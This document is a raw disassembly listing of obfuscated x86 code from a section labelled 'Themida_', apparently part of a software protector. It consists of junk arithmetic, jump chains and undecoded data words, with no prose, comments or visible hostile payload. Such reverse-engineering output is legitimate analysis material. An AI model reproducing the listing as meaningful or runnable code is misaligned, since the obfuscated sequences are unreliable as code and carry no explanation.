		xor	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_54DB97
; ---------------------------------------------------------------------------
		dw 39BDh
		dd 81495E09h, 5E093DF5h, 7FAF2D49h, 0E80150E2h,	0FFEF46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551001:				; CODE XREF: Themida_:0054C4EFj
		shr	eax, 5
		dec	eax
		and	eax, 1EFC34B0h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2DD84E36h
		add	edx, 0F124C00Fh
		add	eax, edx
		pop	edx
		add	ebx, eax
		pop	eax
		jmp	loc_5481C5
; ---------------------------------------------------------------------------


loc_551026:				; CODE XREF: Themida_:00551E89j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		not	dword ptr [esp]
		jmp	loc_54E747
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4EEh, 24348700h, 0A7F1E95Ch, 3834FFFFh, 0FFF7F3E9h
		db 0FFh
byte_551051	db 0FFh, 74h, 24h	; DATA XREF: Themida_:005463F0o
		dd 2434FF04h, 0E92434FFh, 0FFFFE2C2h, 83241C8Bh, 0A3E904C4h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55106B:				; CODE XREF: Themida_:005517F9j
		and	edi, ebx
		jmp	loc_54A5AA
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 3F2964C0h, 575DEA89h, 0F51762BFh, 5EFC16Ah, 6F1ACF81h
		dd 0EF816482h, 3BB649DAh, 9470F781h, 0FB2977ACh, 0E9D3015Fh
		dd 0FFFF5FDCh
; ---------------------------------------------------------------------------


loc_5510A0:				; CODE XREF: Themida_:0055165Aj
		mov	edx, 36AF63B3h
		shl	edx, 8
		or	edx, 33BA19ADh
		not	edx
		or	edx, 3D730EE3h
		push	3EA5h
		mov	[esp], edi
		jmp	loc_549323
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 0A0E9241Ch
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5510CF:				; CODE XREF: Themida_:00547703j
		pop	esi
		or	ebx, ebx
		jnz	loc_54DEB1
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54AE0C
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF6900h
dword_5510EC	dd 8B2434FFh, 8951240Ch, 4BF57E1h, 1000000h, 0BE565FF9h
					; DATA XREF: Themida_:005462A0o
		dd 4, 335EF101h, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFF9E84h
; ---------------------------------------------------------------------------


loc_551118:				; CODE XREF: Themida_:0054D707j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55063F
; ---------------------------------------------------------------------------
aNrss		db '╜RИХ',0Bh,0         ; DATA XREF: Themida_:00546394o
		align 2
word_551132	dw 8B66h		; DATA XREF: Themida_:00546258o
		dd 0E9512404h, 0FFFFD806h, 322C381h, 8C681453h,	8900007Ch
		dd 1ABE2434h, 0E977356Eh, 0FFFFF420h, 0E904C683h, 0FFFFA265h
		dd 0E924248Bh, 0F3Dh, 66F1F65Ch, 53CCB60Fh, 12E9E389h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551173:				; CODE XREF: Themida_:005503A4j
		add	ecx, ebp
		pop	ebp
		push	esi
		push	ebp
		mov	ebp, 43A46172h
		push	edi
		mov	edi, 153D6EACh
		mov	esi, 50B9AD59h
		add	esi, edi
		jmp	loc_54966C
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 46824h, 9EE90000h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55119F:				; CODE XREF: Themida_:0054D9C7j
		add	esp, 4
		add	esp, 4
		jmp	loc_54B2DC
; ---------------------------------------------------------------------------
byte_5511AD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00546214o
aHN		db '$hуn',0
		align 2
		dw 75E9h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5511BB:				; CODE XREF: Themida_:005482B2j
		pop	edi
		pop	eax
		and	edi, 1469009Eh
		sub	edi, 2F7A6D31h
		sub	edi, 4B003F6Eh
		sub	edi, 99C653E7h
		sub	ebp, 3AED3254h
		jmp	loc_549B7B
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481242Ch, 4, 104C483h, 8B0289FAh, 0E9522414h
		dd 0FFFF9910h
; ---------------------------------------------------------------------------


loc_5511FC:				; CODE XREF: Themida_:005506B4j
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_546A19
; ---------------------------------------------------------------------------


loc_551207:				; CODE XREF: Themida_:00546521j
		xor	ch, 0Fh
		push	eax
		mov	ah, 32h
		and	ch, ah
		pop	eax
		inc	ch
		shr	ch, 5
		push	edx
		mov	dh, 8Fh
		xor	ch, dh
		pop	edx
		sub	al, ch
		pop	ecx
		mov	bx, [esp]
		add	esp, 2
		push	6343h
		mov	[esp], edx
		mov	dl, 1Ch
		push	7C1Ch
		mov	[esp], ebx
		push	eax
		mov	al, 82h
		push	edx
		push	ecx
		jmp	loc_546676
; ---------------------------------------------------------------------------


loc_551244:				; CODE XREF: Themida_:0054D965j
		pop	eax
		add	dword ptr [esp+4], 38922AD1h
		pop	esi
		pop	dword ptr [edi+24h]


loc_551251:				; CODE XREF: Themida_:0054B546j
		push	0AAEh
		jmp	loc_54CEEB
; ---------------------------------------------------------------------------


loc_55125B:				; CODE XREF: Themida_:0054D148j
		push	edx
		jmp	loc_54E239
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 11h
		db 0C4h, 2 dup(0FFh)
byte_551267	db 66h			; DATA XREF: Themida_:005462CCo
		dd 52240C8Bh, 8904EC83h, 0BA522424h, 4,	4245401h, 92E95A5Ah
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551283:				; CODE XREF: Themida_:0054B460j
		pop	eax
		jmp	loc_549D3D
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 24048F04h, 409665Ch,	50E99C24h, 81FFFF52h, 4ECh, 7789E900h
		dd 40E9FFFFh
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5512AB:				; CODE XREF: Themida_:0054FC9Ej
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_54A5CE
; ---------------------------------------------------------------------------
		db 81h
		dd 93CFEC7h, 81EF0169h,	93CFEEFh, 0EF815D69h, 4, 5C243C87h
		dd 0FF242C89h, 8B042474h, 73E9242Ch, 5EFFFF74h,	8B24048Fh
		dd 4FF2424h, 2CE99C24h,	0C1FFFFEDh, 0C78102EFh,	511D2DACh
		dd 4252E781h, 6AE92A49h, 54FFFFE3h, 0FFBCB9E9h,	0CAE951FFh
		dd 2DFFFF86h, 7DD6064Eh, 5024348Bh, 4EC81h, 24890000h
		dd 24048324h, 0AE95804h
		db 5, 2	dup(0)
byte_551333	db 66h			; DATA XREF: Themida_:00546448o
		dd 6824048Bh, 7B9Bh, 68241489h,	796Ch, 81242489h, 42404h
		dd 815A0000h, 4C2h, 2BD5500h, 1000000h,	73685DEAh, 89000073h
		dd 74FF2414h, 34FF0424h, 89575A24h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0FFE0B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551385:				; CODE XREF: Themida_:0054FBE7j
		push	ecx
		mov	ecx, 4F4102E8h
		jmp	loc_54A992
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 12B45064h, 8607E4C0h, 0E9D5F6ECh, 0FFFF7F20h
		dd 1489665Ch, 9C506624h, 0FF513AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5513B1:				; CODE XREF: Themida_:0054833Ej
		mov	ebp, edi
		jmp	loc_54B8C4
; ---------------------------------------------------------------------------
		dd 0ACE95954h, 89FFFFA1h, 24E92404h
		db 51h,	2 dup(0FFh)
byte_5513C7	db 66h			; DATA XREF: Themida_:00546474o
		dd 6824048Bh, 57B1h, 54241489h,	0FF963CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5513D9:				; CODE XREF: Themida_:0054C574j
		push	14F0h
		mov	[esp], ecx
		push	eax
		mov	eax, 5EA37033h
		mov	ecx, 0B579AB99h
		sub	ecx, eax
		pop	eax
		jmp	loc_54B895
; ---------------------------------------------------------------------------
		dd 4C481h, 81590000h, 4C1h, 4EC8100h, 89000000h, 0E9522434h
		dd 0FFFFD564h, 4C681h, 0C6830000h, 10B0E904h, 0C5810000h
		dd 46343034h, 40BD6858h, 3C890000h, 9EBA5224h, 0BF416662h
		dd 0BE999D66h, 815AD701h, 512D34C5h, 81FD2978h,	512D34EDh
		dd 2C875F78h, 48E95C24h, 88FFFFB3h, 6559E9E1h
		db 2 dup(0FFh)
word_55145A	dw 868h			; DATA XREF: Themida_:00546334o
		dd 89000030h, 84E92414h, 66FFFF50h, 50665958h, 0C2006DB0h
		dd 0C2805866h, 0E9D2F688h, 0FFFF6226h, 0F705EFC1h, 46F787D7h
		dd 0EF81F787h, 9ADAD5ADh, 0FF7D56E9h, 2434FFFFh, 0E924048Bh
		dd 0FFFFC120h, 32240C30h, 0C30240Ch, 5041E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5514AA:				; CODE XREF: Themida_:0054EBAFj
		xor	eax, edx
		jmp	loc_54F62E
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 51h
		dd 7124E954h, 0D3F7FFFFh, 66F3E957h, 0A668FFFFh, 0E9000061h
		dd 0FFFF5682h, 375B3566h, 58C18966h, 0FFB7A9E9h, 82EF81FFh
		dd 132C840h, 82C781CFh,	5932C840h, 0FAC181h, 8FE97FE2h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5514F3:				; CODE XREF: Themida_:00547377j
		push	esi
		mov	esi, 78A1755Fh
		mov	ebp, 4F5FC1B5h
		xor	ebp, esi
		pop	esi
		xor	eax, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_549082
; ---------------------------------------------------------------------------
byte_55150B	db 66h			; DATA XREF: Themida_:00546244o
		dd 66705D68h, 6649D468h, 663E4568h, 66242489h, 2240481h
		dd 48F6600h, 89B6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55152A:				; CODE XREF: Themida_:0054DCA3j
		pop	eax
		jmp	loc_546592
; ---------------------------------------------------------------------------
dword_551530	dd 9C241CF7h, 0FF4FB2E9h, 0F6815AFFh, 1A3497A4h, 50FEEB81h
					; DATA XREF: Themida_:005462BCo
		dd 0F30140ABh, 50FEC381h, 3E940ABh, 0C0FFFFE8h,	0DDF608EDh
		dd 800EED80h, 0EF280FF5h, 0E9240C8Bh, 433h, 2434FF5Bh
		dd 0FFD1BBE9h, 5E089FFh, 4, 0FFCB0BE9h,	2BAFFh,	0D0010000h
		dd 8124148Bh, 4C4h, 99FDE900h, 815FFFFFh, 3D6682EAh, 4F4DE951h
		dd 7EBDFFFFh, 0F755111Fh, 0DED81DDh, 811EEC70h,	861FABEDh
		dd 0ECBB534Ah, 81EFC6E1h, 76710CEDh, 0F365E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5515C2:				; CODE XREF: Themida_:005520F7j
		add	esp, 4
		xor	ebx, 662650CCh
		shl	ebx, 5
		sub	ebx, 596AE52Dh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5504A3
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 80h
		dd 1868FBEBh, 89000023h, 5DB22414h, 0F5AD300h, 8957C0B6h
		dd 0E6E955E7h, 81FFFF9Ch, 3DBAAFC6h, 5EF28923h,	4245401h
		dd 0FFF9BEE9h
		db 0FFh
byte_551615	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054630Co
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	25FD54D6h
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4D343F2h
		jmp	loc_55037C
; ---------------------------------------------------------------------------


loc_551637:				; CODE XREF: Themida_:00550922j
		sub	[edi+24h], esi
		pop	esi
		jmp	loc_54A5EF
; ---------------------------------------------------------------------------


loc_551640:				; CODE XREF: Themida_:0054E3C9j
		push	ecx
		jmp	loc_54FE84
; ---------------------------------------------------------------------------


loc_551646:				; CODE XREF: Themida_:005484AEj
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_5510A0
; ---------------------------------------------------------------------------


loc_55165F:				; CODE XREF: Themida_:0054FCA4j
		xor	ebx, eax
		jmp	loc_5525F4
; ---------------------------------------------------------------------------


loc_551666:				; CODE XREF: Themida_:0054D3A5j
		push	ebp


loc_551667:				; DATA XREF: Themida_:off_5652CFo
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_550010
; ---------------------------------------------------------------------------


loc_55167A:				; CODE XREF: Themida_:0054DB15j
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55086A
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		jmp	loc_547FF3
; ---------------------------------------------------------------------------
aUH		db 'аЦ',8,'h:<',0
		dd 0A61CE900h, 3489FFFFh, 75836824h, 0C15E36CBh, 0E68106E6h
		dd 39B72A9Bh, 2414F756h, 5AC6815Eh, 891CD40Ah, 0B7DAE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5516CE:				; CODE XREF: Themida_:005520C8j
		add	dword ptr [esp+4], 29007597h
		add	dword ptr [esp+4], 5F8F3400h
		jmp	loc_54AF15
; ---------------------------------------------------------------------------


loc_5516E3:				; CODE XREF: Themida_:00546A22j
		push	1F37h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_548E95
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 51F8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551716:				; CODE XREF: Themida_:00550648j
		push	ebp
		push	edi
		jmp	loc_550968
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 2
		dd 7CCA68h, 992EE900h, 0E95BFFFFh, 0FFFFB8FEh, 93B2C781h
		dd 5857ECC1h, 0A2A2E95Fh, 0BD55FFFFh, 328C4C88h, 815DEF89h
		dd 360115EFh, 2BE7812Eh, 0E9107B6Ah, 77Eh, 68h,	24242800h
		dd 8324248Ah, 0F48004C4h, 58E68892h, 0C6FEC6FEh, 0D6F6C6FEh
		dd 2EE9EED0h, 57FFFFDDh, 407968h, 48F5400h, 24048324h
		dd 0C7815F04h, 4, 4EF81h, 3C330000h, 62D2E924h
		db 2 dup(0FFh)
word_55179E	dw 28Fh			; DATA XREF: Themida_:005464A0o
		dd 0FF4D46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5517A5:				; CODE XREF: Themida_:005494D1j
		sub	ecx, 4
		push	52DDh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_551ECE
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 0E9D60100h, 0FFFFD714h, 8B241433h, 0F662424h
		dd 9C2404B3h, 0FF4D0AE9h, 0F5EB81FFh, 0E96B066Ah, 0FFFFF950h
; ---------------------------------------------------------------------------


loc_5517EC:				; CODE XREF: Themida_:00547CDDj
		not	ebx
		neg	ebx
		shl	ebx, 6
		sub	ebx, 0C87A92F1h
		jmp	loc_55106B
; ---------------------------------------------------------------------------


loc_5517FE:				; CODE XREF: Themida_:00550383j
		neg	eax
		add	eax, 78FFBD36h
		jmp	loc_550198
; ---------------------------------------------------------------------------
		dw 0FC88h
		dd 0E958E188h, 0FFFF8A40h
; ---------------------------------------------------------------------------


loc_551814:				; CODE XREF: Themida_:0054B5CDj
		xchg	esi, [esp]
		jmp	loc_54B373
; ---------------------------------------------------------------------------


loc_55181C:				; CODE XREF: Themida_:00551BE4j
		xor	ebx, 556C7967h
		jmp	loc_54F8E9
; ---------------------------------------------------------------------------
		db 51h
		dd 0E9527FB5h, 0FFFF4D2Ah, 8038EE80h, 0CEFEAFEEh, 9E9E9h
		dd 40500h, 4050000h, 87000000h,	248B2404h, 24048724h, 0FFEF75E9h
		dd 0F4BA52FFh, 0E93F8C35h, 0FFFFA727h
dword_551860	dd 8B2434FFh, 0C4832404h, 7D8E6804h, 0C890000h,	0AB0DE924h
					; DATA XREF: Themida_:00546430o
		dd 0A4BFFFFFh, 8128414Eh, 0C33F9BEFh, 5FF92938h, 0C8BCB29h
		dd 0C0E95724h, 55FFFFC2h, 483D6853h, 2C890000h,	373A6824h
		dd 815D3F73h, 0A52CD9C5h, 5DEB89FBh, 0FF1AA968h, 0DD315D0Bh
		dd 5DE8015Bh, 8D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5518B9:				; CODE XREF: Themida_:0054E6FEj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54DF9E
; ---------------------------------------------------------------------------


loc_5518C7:				; CODE XREF: Themida_:00548E22j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 1
		push	edx
		jmp	loc_54FE3D
; ---------------------------------------------------------------------------
		dw 0E8C0h
		dd 0C0533405h, 712C04E8h, 0FFD85DE9h, 2434FFFFh, 4C4815Dh
		dd 81000000h, 4D510DE3h, 0ACE38124h, 510E2833h,	0F70197B9h
		dd 6BF18167h, 2963F701h, 0DF0159CBh, 0FF97FCE9h, 7EEC1FFh
		dd 0FF5277E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551921:				; CODE XREF: Themida_:0054A7C8j
		mov	bl, 69h
		neg	bl
		jmp	loc_547583
; ---------------------------------------------------------------------------
		dw 0B050h
		dd 0CD66E9A7h, 0E404FFFFh, 0FF8AA3E9h, 59EA20FFh, 6633C280h
		dd 66374C68h, 0B4240489h, 66E32815h, 80D32858h,	0F5A15C3h
		dd 8B66C0B6h, 81572414h, 4ECh, 24248900h, 4240483h, 2DED685Fh
		dd 14890000h, 4BA24h, 0C7810000h, 341035D4h, 7871C781h
		dd 0D70101D5h, 7871EF81h, 0EF8101D5h, 341035D4h, 2F1F685Ah
		dd 0B0E90000h, 81FFFFBCh, 4C4h,	5BFC8800h, 0B6D1B753h
		dd 5BFE2893h, 0D4F6E686h, 88E58851h, 59EE88F4h,	0FFF028E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5519BD:				; CODE XREF: Themida_:00549E13j
		mov	ebx, edx
		pop	edx
		push	esi
		mov	esi, 2EC159CCh
		and	esi, 1E4C79A9h
		dec	esi
		sub	esi, 5D929901h
		jmp	loc_54C175
; ---------------------------------------------------------------------------
		dd 33240431h, 815C2404h, 4C1h, 2BD5500h, 1000000h, 0C335DE9h
		dd 7BAAE924h, 0E883FFFFh, 24048704h, 243C895Ch,	55535F54h
		dd 8C6BBEBDh, 4CF5816Eh, 81488B74h, 0FE27F1C5h,	0E9EB8925h
		dd 0FFFFFED1h
; ---------------------------------------------------------------------------


loc_551A1C:				; CODE XREF: Themida_:00551B82j
		pop	eax
		sub	esi, 1
		sub	esi, 650D2025h
		jmp	loc_550FAF
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0E3B5E953h, 0E9C1FFFFh, 2F18107h, 2922CF3Dh,	28E959CEh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551A43:				; CODE XREF: Themida_:0054A4AEj
		push	ebx
		jmp	loc_549ED5
; ---------------------------------------------------------------------------


loc_551A49:				; CODE XREF: Themida_:00547E0Dj
		mov	al, 15h
		mov	bl, 0ECh
		add	bl, al
		pop	eax
		add	cl, 9Eh
		add	cl, bl
		jmp	loc_54A489
; ---------------------------------------------------------------------------
		dw 0A9BFh
		dd 817FD95Ah, 4C5D4FF7h, 5FF9316Dh, 5249D1F7h, 126F17BAh
		dd 81D2F748h, 7E793FEAh, 65E9427Ch, 68FFFF90h, 20A8h, 89243C89h
		dd 0E95350E7h, 0FFFFC4F3h
; ---------------------------------------------------------------------------


loc_551A90:				; CODE XREF: Themida_:0054B5D9j
		push	6130h
		jmp	loc_546F50
; ---------------------------------------------------------------------------
		dw 54F6h
		dd 5A660124h, 0C6E9DEF6h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551AA7:				; CODE XREF: Themida_:00549A11j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		sub	esp, 4
		jmp	loc_54B63D
; ---------------------------------------------------------------------------
dword_551AC4	dd 24048B66h, 4EC81h, 34890000h, 0DDE95024h, 56FFFF84h
					; DATA XREF: Themida_:00546380o
		dd 0BA525E54h, 4, 0E95AD601h, 0FFFF7BD6h, 735EBA52h, 0C2811F68h
		dd 0D7F6823h, 83E8EA81h, 0D089F2FCh, 0A5BABB5Ah, 0C329B5AFh
		dd 65D5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551B0A:				; CODE XREF: Themida_:0054B82Ej
		mov	eax, 69A74E25h
		sub	esi, eax
		pop	eax
		mov	eax, esi
		jmp	loc_54E136
; ---------------------------------------------------------------------------
		db 68h,	0B6h, 7Ah
		dd 1C890000h, 67B85024h, 0F70F202Ah, 437525D0h,	3E91554h
		dd 66FFFFF4h, 8124048Bh, 2C4h, 240C8B00h, 5104C483h, 0C44E9h
		dd 0C1D5F700h, 0B5E907E5h, 58FFFF56h, 8B24048Fh, 0EC832424h
		dd 241C8904h, 0B951E389h, 4, 0E959CB01h, 0FFFF7302h
; ---------------------------------------------------------------------------


loc_551B70:				; CODE XREF: Themida_:0054DA10j
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 27D54F95h
		push	eax
		mov	eax, 4A7C184Fh
		add	esi, eax
		jmp	loc_551A1C
; ---------------------------------------------------------------------------
		db 66h
		dd 0B646E950h, 0E589FFFFh, 0FF9EAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551B95:				; CODE XREF: Themida_:00549D4Fj
		mov	ebp, 76DD693Eh
		shl	ebp, 2
		push	eax
		push	ebp
		push	143A6904h
		jmp	loc_54887C
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0A7h
		dd 89A23E2Bh, 0FE295AD7h, 0B2C6815Fh, 812B0620h, 282300E6h
		dd 0F3C68123h, 81783910h, 4A46D4EBh, 56F32960h,	6C147BBEh
		dd 6E62E914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551BDA:				; CODE XREF: Themida_:005527CAj
		pop	edx
		pop	dword ptr [edi+24h]
		push	ebx
		mov	ebx, 2CC73C44h
		jmp	loc_55181C
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0F4h
		dd 893F8C35h, 0CA295AD1h, 83240C8Bh, 348B04C4h,	4C48124h
		dd 0E9000000h, 0FFFF843Ch
; ---------------------------------------------------------------------------


loc_551C08:				; CODE XREF: Themida_:00546FECj
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, 573D6FE3h
		mov	esi, 6EF600Ch
		add	esi, eax
		jmp	loc_54A25C
; ---------------------------------------------------------------------------


loc_551C1E:				; CODE XREF: Themida_:00548CF0j
		pop	eax
		dec	ebx
		xor	ebx, 3DFA2745h
		or	ebx, 5CED2A95h
		sub	ebx, 5EFD6BF9h
		jmp	loc_5499FE
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 24248B24h,	9C243CD3h, 0FF48A2E9h, 0A9E95BFFh
		dd 5CFFFFDFh, 24048B66h, 8904EC83h, 3CE9242Ch
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C5F:				; CODE XREF: Themida_:00547B79j
		add	esp, 4
		shr	eax, 0Bh
		jmp	loc_54BAC9
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2474FF24h, 67E95904h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C77:				; CODE XREF: Themida_:0054FA28j
		pop	esi
		jmp	loc_55086A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 23B82404h, 0F7088F67h, 4ABD55D0h,	0F7329330h
		dd 17F581DDh, 29F95C92h, 0BB535DE8h, 5AFB14B5h,	1C8BD821h
		dd 4C48324h, 33F1BF57h,	0C5E9179Dh, 52FFFFF7h, 0AF464ABAh
		dd 0F7D2F761h, 3CB850DAh, 407AE835h, 56376205h,	58C231A3h
		dd 295AD689h, 24348BF0h, 0E904EC83h, 0FFFF8050h, 8924248Bh
		dd 0BF57242Ch, 1, 0FF9E45E9h, 1C8758FFh, 50D7E924h, 248BFFFFh
		dd 24040024h, 47E5E99Ch, 0C481FFFFh, 4,	0C381FB01h, 7B6111F3h
		dd 0EF5CE95Fh, 0BF57FFFFh, 243D2073h, 1A50F781h, 93E91C1Ch
		dd 81FFFFE4h, 4C4h, 24143300h, 0E9241431h, 0FFFFFA94h
		dd 52E78957h, 1476F8BAh, 6857530Dh, 723A7949h, 5289E95Fh
		dd 0C8BFFFFh, 4C48324h,	4BF57h,	0F8010000h, 5F2434FFh
		dd 4C481h, 4330000h, 24043124h,	5C240433h, 0B415E955h
		dd 0E95FFFFFh, 0FFFF55FCh, 45D9E781h, 0DFF7157Fh, 0AEF78147h
		dd 815E7856h, 0B1A845EFh, 8BFD89B5h, 8950243Ch,	405E0h
		dd 2FE90000h, 1FFFF7Bh,	0C78159CFh, 4, 5C243C87h, 0FFFD1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551DB9:				; CODE XREF: Themida_:00550234j
		mov	eax, [esp]
		add	esp, 4
		push	2958h
		mov	[esp], edx
		jmp	loc_5469C3
; ---------------------------------------------------------------------------
		db 81h
		dd 8D6888F5h, 0E7ED810Eh, 0E926F830h, 0FFFFF292h, 81241C8Bh
		dd 4C4h, 0F5EA8100h, 15D7F7Eh, 0C7815AD7h, 2, 0E9243C87h
		dd 8C5h, 0D017AD2Dh, 241C8B7Ah,	5E08950h, 4, 0E904C083h
		dd 0FFFFAE16h, 88ECED81h, 0EE011652h, 0FFDB65E9h, 241489FFh
		dd 4116B951h, 0F74948BAh, 1EE981D1h, 89839FA2h,	240C8BCAh
		dd 5E08950h, 4,	405h, 0D0C9E900h, 0E95FFFFFh, 0FFFF70E5h
; ---------------------------------------------------------------------------


loc_551E54:				; CODE XREF: Themida_:0054C85Dj
		push	esi
		jmp	loc_547D4E
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0C68039EDh, 80EE00F6h, 34FFF6EEh, 0C4815924h, 4, 0D053CE80h
		dd 5DE953E6h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551E7B:				; CODE XREF: Themida_:0054CB00j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_551026
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 378BF24h, 37E95F7Bh,	59FFFFCAh, 4649E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551EA2:				; CODE XREF: Themida_:00546669j
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_5466A1
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0D8h
		dd 765A4605h, 17BE5663h, 8355CC22h, 0C8904ECh, 3CAAB924h
		dd 0E9C10671h, 53B9E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551ECE:				; CODE XREF: Themida_:005517BEj
		pop	dword ptr [edi+20h]
		jmp	loc_54E263
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 39893650h, 0FFD89BE9h, 0E9CA28FFh, 0FFFFD3ABh, 0E936CA80h
		dd 0FFFFE09Bh, 0F667B753h, 66C7FEDFh, 2817B050h, 5866C7h
		dd 0B2E95BFCh, 55FFFFB1h, 54F5B850h, 0D8F766D9h, 15074405h
		dd 4F9AE97Dh, 0D3F6FFFFh, 6602EC83h, 88240C89h,	88D388DDh
		dd 0C8B66EAh, 80BBE924h
		db 2 dup(0FFh)
word_551F32	dw 8B66h		; DATA XREF: Themida_:0054648Co
		dd 8957240Ch, 0BBB2E9E7h, 9C50FFFFh, 0FF70B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551F45:				; CODE XREF: Themida_:0054CDB5j
		neg	esi
		xchg	esi, ebp
		jmp	loc_54B849
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0E9C52C1Bh, 0FFFF5997h, 0EB3053B5h, 0FF9A6EE9h, 0E9D828FFh
		dd 0FFFF532Dh, 0EB801CB3h, 0C0C3FE06h, 0B55108E3h, 0BCAFE900h
		dd 0C981FFFFh, 72506E74h, 8108E1C1h, 0C4333EE9h, 0E4BA5242h
		dd 31C974A8h, 4B55E9D1h, 0CDFEFFFFh, 0D007C580h, 4EC81E5h
		dd 89000000h, 6EB62414h, 0FF6673E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551FAD:				; CODE XREF: Themida_:0054CDCCj
		add	esp, 4
		jmp	loc_5506A8
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF452Bh
; ---------------------------------------------------------------------------


loc_551FC0:				; CODE XREF: Themida_:0054F551j
		xor	ebx, edi
		pop	edi
		xor	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
